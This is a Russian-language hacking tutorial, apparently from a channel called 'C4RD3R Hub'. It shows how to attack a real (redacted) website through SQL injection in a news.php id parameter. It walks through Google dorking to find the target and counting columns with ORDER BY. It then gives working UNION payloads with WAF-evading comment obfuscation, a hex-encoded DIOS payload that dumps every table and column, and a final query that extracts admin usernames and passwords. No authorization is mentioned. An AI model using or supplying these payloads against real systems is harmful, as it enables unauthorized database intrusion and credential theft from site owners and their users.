Обход WAF для выполнения продвинутой SQL инъекции на основе ошибок
🏴 C4RD3R Hub![](/file/200e160e9a02b928c0401.png)
Google Dorking для поиска конечных точек
Используя простой dork inurl:http://domain.com
, удалось получить несколько интересных конечных точек:
![](/file/164f73de86efbf22681ea.jpg)
Выделенный текст на изображении приводит к интересной точке: http://domain.com/REDACTED/news.php?id=13
При открытии URL-адреса можно столкнуться с ошибкой MySQL. Даже из вывода Google дорка вы можете её увидеть:
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean give in … on line 27
![](/file/88b421927abd1c2f710cd.jpg)
Ошибка очень ценна , потому что мы знаем, что можем выполнять некоторые логические запросы. Давайте начнем эксплуатацию.
Анализ поведения веб-сайта
Можно попробовать несколько основных запросов, чтобы увидеть, как ведет себя сайт. При вводе неправильного запроса, выдается 2 ошибки (1 которая была по умолчанию и другая, которая вызвана нами).
![](/file/2535bbd30d9238388f9c1.jpg)
Таким образом, мы знаем, что если наш запрос правильный, мы получаем только 1 сообщение об ошибке, в противном случае мы получаем 2 сообщения об ошибке. Благодаря этой ценной информации (на которую потребовалось потратить время), можно получить количество столбцов с помощью запроса ORDER BY
.
Поиск количества столбцов с Boolean + ORDER BY
Поскольку сервер ожидает логический оператор, можно использовать запрос AND 0
, однако можно использовать и некоторые другие логические запросы:
AND null AND 1
Теперь добавим в наш запрос как логическую строку, так и запрос ORDER BY
. В данном случае поиск был начал со столбца с цифры 1, потому что на 100% есть уверенность, что сайт не покажет никакой ошибки.
http://domain.com/REDACTED/news.php?id=13 AND 0 order by 1-- -
![](/file/744f8ac9a4c5d6f6d72d7.jpg)
Мы получаем только 1 сообщение об ошибке (от веб-сайта, а не из-за нашего запроса). Теперь, когда мы знаем, что наш запрос правильный, давайте попробуем увеличить количество столбцов на 1, пока не получим вторую ошибку.
?id=13 AND 0 order by 1-— - (shows 1 error) ?id=13 AND 0 order by 2 — — (shows 1 error) ?id=13 AND 0 order by 3-— — (shows 1 error) ?id=13 AND 0 order by 4-— — (shows 1 error) ?id=13 AND 0 order by 5-— — (shows 1 error) ?id=13 AND 0 order by 6-— — (shows 2 errors)
Второе сообщение об ошибке появляется тогда, когда мы попытаемся найти 6-й столбец. Таким образом, это означает, что база данных имеет только 5 столбцов.
?id=13 AND 0 order by 6-— —
![](/file/c05fd61da2a099ac0a7cd.jpg)
Перед тем как продолжить, убедимся ещё раз, что в базе данных 5 столбцов.
?id=13 AND 0 order by 5-— —
![](/file/fb3b1808121b4746b1f5c.jpg)
Обход WAF и поиск столбца для дампа
Теперь мы уверены, потому что не получаем вторую ошибку. Пришло время найти, какой из этих 5 столбцов позволит нам получить данные, используя запрос UNION SELECT
.
http://domain.com/REDACTED/news.php?id=13 AND 0 union select 1,2,3,4,5-- -
![](/file/8bbcf11e2eed82a1601ee.jpg)
Однако, наш запрос был заблокирован WAF, давайте попробуем обойти запрет. Есть тонны запросов UNION для обхода WAF, но в этом случае сработало:
http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5-- -
![](/file/77e47b5e5ce378c3bfd44.jpg)
Удалось обойти WAF, однако номер не отображается. Из-за этого мы не знаем, какие столбцы мы собираемся сбросить. Просмотрев всю страницу ничего не было найдено, было решено посмотреть исходный код.
![](/file/1dd2c80f62e8998560290.jpg)
В выделенной части мы видим числа 2 и 3. Отлично, теперь мы знаем, что должны сосредоточиться на этих 2 столбцах. В этом случае я попробую вторую колонку.
Дамп всех данных из второго столбца
Узнаём имя базы данных
С помощью запроса на основе UNION
давайте получим имя базы данных.
http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,database(),3,4,5-— -
![](/file/6786e25008f43528b6e8e.jpg)
Теперь мы узнали имя базы данных.
Автоматический дамп таблиц + столбцов с помощью DIOS
Попробем ввести полезную нагрузку DIOS, потому что получение каждого столбца для каждой таблицы вручную очень долго. Полезная нагрузка DIOS, которая была использована, специально построена для обхода WAF с использованием 0xHEX
преобразования и /*!00000
для обхода строк.
http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x)),3,4,5 -- -
![](/file/019ce19d700e886c0dd55.jpg)
Дамп данных внутри столбцов
Теперь у нас есть таблицы и столбцы для каждой таблицы. Из всех таблиц интересна эта:
![](/file/c2cb17a28e752fe4d268b.png)
Вот что привлекает внимание. Сосредоточение на таблице user
и дампе данных из 2 столбцов: username
и password
.
Окончательная полезная нагрузка будет следующей:
http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+kbelb_db.user),3,4,5-- -
Теперь смотрим исходный код и видим имя пользователя и пароль администратора или пользователя.
![](/file/a539cbf2c1793d41f7765.jpg)
🏴 C4RD3R Hub
![](/file/a3fdab5f870c6d7c92a12.png)